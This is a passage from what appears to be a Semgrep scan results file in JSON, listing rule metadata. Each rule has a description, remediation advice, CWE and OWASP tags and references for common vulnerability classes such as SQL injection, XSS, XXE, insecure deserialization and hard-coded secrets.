terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/dsa](https://www.pycryptodome.org/src/public_key/dsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url","id":"typescript.react.react-refs-url.react-refs-url","name":"typescript.react.react-refs-url.react-refs-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-refs-url.react-refs-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","id":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","name":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint","id":"rust.rocket.sql.diesel-taint.diesel-taint","name":"rust.rocket.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"help":{"markdown":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug","id":"php.lang.security.search-active-debug.search-active-debug","name":"php.lang.security.search-active-debug.search-active-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-active-debug.search-active-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"help":{"markdown":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","id":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","name":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"help":{"markdown":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","id":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","name":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"help":{"markdown":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","id":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","name":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","id":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","name":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"help":{"markdown":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection","id":"java.lang.security.audit.script-engine-injection.script-engine-injection","name":"java.lang.security.audit.script-engine-injection.script-engine-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.script-engine-injection.script-engine-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"help":{"markdown":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","id":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","name":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request)\n - [https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/](https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","id":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","name":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","id":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","name":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR Repository isn't configured to scan images on push"},"help":{"markdown":"The ECR Repository isn't configured to scan images on push\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push)\n - [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)\n","text":"The ECR Repository isn't configured to scan images on push"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","id":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","name":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","id":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","name":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","id":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","name":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - 